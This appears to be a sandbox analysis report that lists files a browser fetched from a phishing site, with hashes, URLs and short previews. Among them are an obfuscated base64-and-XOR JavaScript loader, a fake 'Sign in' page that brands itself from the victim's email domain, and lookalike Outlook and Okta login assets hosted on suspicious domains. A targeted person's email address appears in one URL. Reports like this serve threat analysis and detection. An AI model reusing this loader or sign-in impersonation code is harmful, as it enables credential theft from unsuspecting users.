                                                                      Preview:<script>..function SkmsejgBIl(zwrdOKrfMT, JwKrMznHnx) {..let BGChODOWyb = '';..zwrdOKrfMT = atob(zwrdOKrfMT);..let GtcOswyjZZ = JwKrMznHnx.length;..for (let i = 0; i < zwrdOKrfMT.length; i++) {.. BGChODOWyb += String.fromCharCode(zwrdOKrfMT.charCodeAt(i) ^ JwKrMznHnx.charCodeAt(i % GtcOswyjZZ));..}..return BGChODOWyb;..}..var QJzcsfMBJn = SkmsejgBIl(`TQMLRz4yDVc0QRJNSl0jNgkEfRxeEwdRMmwTBjJWAwlGVjgvVh02RhQCERhkbE9Zdx0cGQYbPTFbSXscAhMaXCc2R3pNDwITGlwnNlkENVBMUgBBIzIKTWgcEhQGXyRsGhsoRhUWBFQlJ1cUKF5eEQJUL20VHiVAXhMaTCc2FlotQF5ERgR5c1YUNUoBBAcYPTFXGi5dXxobF2l+VgQkQRgAHAtaSHR9e0ASAgFFI3x0fSlWBlAuQDkhDR4oXVkRHFo1al4WEGoWOy8APyYUGylqKSIeVj53Si0QeRoTBVllGCE+IFU5Bw9RZS4MLQAKQjwFez8gPg8WUjY2HVEQew0+D0tJOSBRJyAUJTFXCEUOVhAqERUpYQcSO3dvJDo1MmopKhhvZQRJFXR6BBQwezshEjEpaSZFWHk6LgwudUtAKi9jLQk6PQRXKToffD4pCT4PQD8zAXQwCzo2IHoyMQ9RZS4MLQAKQjwFTSEbSzF3UiZJHXwTch4+KnUYEltjZw0UPTRqJkUafD0xNzQpAz8zBWchG0ohM2kmRVh5OgQSLQJlQyo/AGcWPhs9VzYmHW8PCxY+KkcdFT9nISZLQy5/MjIFUQB3ExMAXwcSAXQ4GCEtK1EfIRh8HzE3NC5yFjkr
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:very short file (no magic)
                                                                      Category:dropped
                                                                      Size (bytes):1
                                                                      Entropy (8bit):0.0
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                                      SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                                      SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                                      SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:0
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:HTML document, ASCII text, with CRLF line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):2067
                                                                      Entropy (8bit):4.675943882704763
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:4A8D4002F5A474D25B90FE9458A56ECC
                                                                      SHA1:F643EBB31207FC5C00056BE242C889F8FAB95027
                                                                      SHA-256:2713D8BC65FCA9242BFF92824F84E9813BAACA51288B160EB2A2ECF939C2AC0B
                                                                      SHA-512:B288AA28BFF9D1985BD3348B7B4C824A1A5A07E0AD48F81A9836EB8534C3B28222C7850DB0442844D59C33A559419AA17DA9E51BE569CE7F3FD5D9164625109C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://ljn84jrqeg.woofradio.cfd/s3ZB8iDtdMrTte2MyzTiUjEDrXW1cMa77GwJbLStKdOdSKK7VRvGSuu4g1tzJRa9caHDiCspbCsFvUXCckaqN1cvkl3enGT1S2S37XzMmUh9t8BmJ5Pb6ubN7MhmiM5axSSWCxvtFQoIbOuvzhIqQbQlpqTdNJCONjvcSyzJRDZNp51zjlMHMhl4oNmVhDAq3vNxYcPs/PGkpW9YW8V3Fgf0PewDIzjvrmvlkWMTVy5dIfK7TGjV2pGKMYWuFCAQv1xZfw1n9NqWumVROjZZcUrM2QOsCog6F8VAWwJFPKCz2sQVPkqiiwtdMtlYWQckgYgISACPLA5cjorl8zhHATetXqIGLpsf07ZwYcMslYGxjehSn6nkhdx5OdzRl8gM22Be7cyevcWg6lmd4/tshegofatso.bayibayi@jonathanball.co.za
                                                                      Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Sign in</title>.. <script>.. // Function to generate random alphanumeric characters.. function generateRandomString(length) {.. const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';.. let result = '';.. for (let i = 0; i < length; i++) {.. result += characters.charAt(Math.floor(Math.random() * characters.length));.. }.. return result;.. }.... // Function to extract subdomain from email (between @ and .).. function extractSubdomain(email) {.. // Check if it's an email format.. if (email.includes('@') && email.includes('.')) {.. // Extract the part between @ and ... const atIndex = email.indexOf('@');.. const dotIndex = email.inde
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (51734)
                                                                      Category:downloaded
                                                                      Size (bytes):222931
                                                                      Entropy (8bit):5.0213311632628725
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:0329C939FCA7C78756B94FBCD95E322B
                                                                      SHA1:7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
                                                                      SHA-256:0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
                                                                      SHA-512:1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
                                                                      Preview:@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:SVG Scalable Vector Graphics image
                                                                      Category:downloaded
                                                                      Size (bytes):270
                                                                      Entropy (8bit):4.840496990713235
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:40EB39126300B56BF66C20EE75B54093
                                                                      SHA1:83678D94097257EB474713DEC49E8094F49D2E2A
                                                                      SHA-256:765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
                                                                      SHA-512:9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150
                                                                      Preview:<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (10017)
                                                                      Category:downloaded
                                                                      Size (bytes):10245
                                                                      Entropy (8bit):5.437589264532084
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:6C20A2BE8BA900BC0A7118893A2B1072
                                                                      SHA1:FF7766FDE1F33882C6E1C481CEED6F6588EA764C
                                                                      SHA-256:B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
                                                                      SHA-512:8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250319%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250319T114432Z&X-Amz-Expires=300&X-Amz-Signature=2ee192713e67ca184988c93d9efab066becd50e571f9fbc48f928d7d3bf095bf&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
                                                                      Preview://.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (26765), with no line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):26765
                                                                      Entropy (8bit):5.114987586674101
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:1A862A89D5633FAC83D763886726740D
                                                                      SHA1:E5CE3AA454C992A13FD406A9647D7AFBF831051F
                                                                      SHA-256:5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
                                                                      SHA-512:3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/56Fq10dFVhZvkCk71cd3LP6718
                                                                      Preview:#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
                                                                      Category:downloaded
                                                                      Size (bytes):43596
                                                                      Entropy (8bit):7.9952701440723475
                                                                      Encrypted:true
                                                                      SSDEEP:
                                                                      MD5:2A05E9E5572ABC320B2B7EA38A70DCC1
                                                                      SHA1:D5FA2A856D5632C2469E42436159375117EF3C35
                                                                      SHA-256:3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
                                                                      SHA-512:785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-vf.woff2
                                                                      Preview:wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3*#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P*..j..)..'.L......b..RQjI*I..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P.....*.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:dropped
                                                                      Size (bytes):892
                                                                      Entropy (8bit):5.863167355052868
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:41D62CA205D54A78E4298367482B4E2B
                                                                      SHA1:839AAE21ED8ECFC238FDC68B93CCB27431CD5393
                                                                      SHA-256:20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
                                                                      SHA-512:82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^*1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx*.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
                                                                      Category:downloaded
                                                                      Size (bytes):937
                                                                      Entropy (8bit):7.737931820487441
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:FC3B7BBE7970F47579127561139060E2
                                                                      SHA1:3F7C5783FE1F4404CB16304A5A274778EA3ABD25
                                                                      SHA-256:85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
                                                                      SHA-512:49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://developers.cloudflare.com/favicon.png
                                                                      Preview:.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..|...{.(...y....`.|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:HTML document, ASCII text, with very long lines (52007), with CRLF line terminators
                                                                      Category:downloaded
                                                                      Size (bytes):150530
                                                                      Entropy (8bit):5.806234250528804
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:23C49B45EBD53FA7FED24937BE9748C3
                                                                      SHA1:628DFBCA3CD7684CFD8581B96893E474B9B8E1B8
                                                                      SHA-256:54D9CFE0BE8D46EFA08B5E4357A4C556E3656AF72B5400ACA782D2F7F5B20287
                                                                      SHA-512:83880FA081BA57253008BF2BCB850C08B6139B38C3546BB65AD0ADE6040B46E187CC43060F1614F85DE54658A6BDD35269A479E8A78FDE06892C40CC081C22A7
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGER
                                                                      Preview:<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>&#8203;</title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
                                                                      Category:downloaded
                                                                      Size (bytes):93276
                                                                      Entropy (8bit):7.997636438159837
                                                                      Encrypted:true
                                                                      SSDEEP:
                                                                      MD5:BCD7983EA5AA57C55F6758B4977983CB
                                                                      SHA1:EF3A009E205229E07FB0EC8569E669B11C378EF1
                                                                      SHA-256:6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
                                                                      SHA-512:E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-vf2.woff2
                                                                      Preview:wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:RIFF (little-endian) data, Web/P image
                                                                      Category:dropped
                                                                      Size (bytes):17842
                                                                      Entropy (8bit):7.821645806304586
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:4B52ECDC33382C9DCA874F551990E704
                                                                      SHA1:8F3BF8E41CD4CDDDB17836B261E73F827B84341B
                                                                      SHA-256:CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
                                                                      SHA-512:AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:Web Open Font Format, TrueType, length 35970, version 1.0
                                                                      Category:downloaded
                                                                      Size (bytes):35970
                                                                      Entropy (8bit):7.989503040923577
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:496B7BBDE91C7DC7CF9BBABBB3921DA8
                                                                      SHA1:2BD3C406A715AB52DAD84C803C55BF4A6E66A924
                                                                      SHA-256:AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
                                                                      SHA-512:E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://jonathanball.brightnexst.ru/GDSherpa-bold.woff
                                                                      Preview:wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."*".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..*Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:SVG Scalable Vector Graphics image
                                                                      Category:dropped
                                                                      Size (bytes):268
                                                                      Entropy (8bit):5.111190711619041
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:59759B80E24A89C8CD029B14700E646D
                                                                      SHA1:651B1921C99E143D3C242DE3FAACFB9AD51DBB53
                                                                      SHA-256:B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
                                                                      SHA-512:0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      Preview:<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (65447)
                                                                      Category:downloaded
                                                                      Size (bytes):89501
                                                                      Entropy (8bit):5.289893677458563
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                      SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                      SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                      SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://code.jquery.com/jquery-3.6.0.min.js
                                                                      Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct
                                                                      Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      File Type:ASCII text, with very long lines (48238)
                                                                      Category:downloaded
                                                                      Size (bytes):48239
                                                                      Entropy (8bit):5.343270713163753
                                                                      Encrypted:false
                                                                      SSDEEP:
                                                                      MD5:184E29DE57C67BC329C650F294847C16
                                                                      SHA1:961208535893142386BA3EFE1444B4F8A90282C3
                                                                      SHA-256:DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
                                                                      SHA-512:AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
                                                                      Malicious:false
                                                                      Reputation:unknown
                                                                      URL:https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
